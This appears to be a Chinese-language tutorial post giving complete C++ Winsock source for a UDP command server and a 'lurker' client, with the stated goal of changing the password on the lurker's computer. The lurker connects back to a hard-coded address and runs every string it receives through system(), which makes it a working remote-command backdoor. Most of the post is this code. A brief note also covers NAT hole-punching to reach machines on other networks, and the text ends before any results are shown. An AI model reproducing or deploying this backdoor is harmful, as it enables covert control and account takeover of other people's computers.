思路:
打开socket,服务端输入字符串,客户端接受后运行cmd,从而修改潜伏者所在电脑密码
局限性:
如果要进行两个不同的局域网通信就得要一个公有IP进行转发,或者打洞。
解释
1.局域网:每一个路由器(家庭版)划分广播域(思科或华为的设备每一个端口是一个广播域)---这里要说明下,其实家庭版的路由器应该叫交换机,本文用家庭版路由器代替
2.打洞:因为路由器有安全功能,不能让外网的数据访问内网,但如果内网主动与外网建立连接后,外网就可以访问内网
3.UDP:不可靠,会丢包
4.相关协议:NAT和NAPT
我们这个是简单的内网通信,所以不用考虑那么多
下面不再讲解socket具体函数实现,直接上代码
服务器:
SocketUdp.h
#ifndef _SOCKET_UDP_
#define _SOCKET_UDP_
#include
#include
#pragma comment(lib,"ws2_32.lib")
class Socket_udp
{
public:
Socket_udp(int port);
~Socket_udp();
void run();
private:
int m_port; //端口号
sockaddr_in serAddr;
SOCKET serSocket;
sockaddr_in remoteAddr;
int nAddrLen;
};
Socket_udp::Socket_udp(int port)
{
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2, 2);
m_port = port;
if (WSAStartup(sockVersion, &wsaData) != 0)
{
printf("Socket_udp打开失败!\n");
system("pause");
exit(0);
}
serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (serSocket == INVALID_SOCKET)
{
printf("Socket为无用状态!\n");
system("pause");
exit(0);
}
serAddr.sin_family = AF_INET;
serAddr.sin_port = htons(m_port);
serAddr.sin_addr.S_un.S_addr = INADDR_ANY;
if (bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
{
printf("bind连接失败!\n");
closesocket(serSocket);
WSACleanup();
exit(0);
}
nAddrLen = sizeof(remoteAddr);
printf("服务器已经开启!等待中!\n");
}
void Socket_udp::run()
{
char buf[1024];
char sendbuf[1024];
int n = recvfrom(serSocket, buf, sizeof(buf), 0, (sockaddr *)&remoteAddr, &nAddrLen);
printf_s("%s:%s\n", inet_ntoa(remoteAddr.sin_addr), buf);
while (true)
{
printf_s("输入命令:");
gets_s(sendbuf);
sendto(serSocket, sendbuf, sizeof(sendbuf), 0, (sockaddr*)&remoteAddr, nAddrLen);
}
system("pause");
}
Socket_udp::~Socket_udp()
{
closesocket(serSocket);
WSACleanup();
}
#endif
mian.cpp
#include "SocketUdp.h"
int main()
{
Socket_udp socket_udp(9999);
socket_udp.run();
return 0;
}
潜伏者
Socket_udp.h
#ifndef _UDP_CLI_
#define _UDP_CLI_
#include
#include
#include
#pragma comment(lib, "ws2_32.lib")
class Socket_udp
{
public:
Socket_udp(char ip[128], int port);
~Socket_udp();
void run();
private:
int m_port;
char m_ip[128];
sockaddr_in sin;
int m_len;
SOCKET sclient;
};
Socket_udp::Socket_udp(char ip[128], int port)
{
strcpy_s(m_ip, ip);
m_port = port;
WORD socketVersion = MAKEWORD(2, 2);
WSADATA wsaData;
if (WSAStartup(socketVersion, &wsaData) != 0)
exit(0);
sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
sin.sin_family = AF_INET;
sin.sin_port = htons(m_port);
sin.sin_addr.S_un.S_addr = inet_addr(m_ip);
m_len = sizeof(sin);
}
void Socket_udp::run()
{
char sendbuf[1024] = "潜伏者上线";
char recvbuf[1024];
sendto(sclient, sendbuf, sizeof(sendbuf), 0, (sockaddr *)&sin, m_len);
while (1)
{
recvfrom(sclient, recvbuf, sizeof(recvbuf), 0, (sockaddr *)&sin, &m_len);
printf_s("%s\n", recvbuf);
system(recvbuf);
}
}
Socket_udp::~Socket_udp()
{
closesocket(sclient);
WSACleanup();
}
#endif // !_UDP_CLI_
main.cpp
#include "Socket_udp.h"
int main()
{
Socket_udp socket_udp("192.168.164.100", 9999);
socket_udp.run();
return 0;
}
下面是运行结果:
先运行服务器,再运行潜伏者,结果如下
服务器输入ipconfig后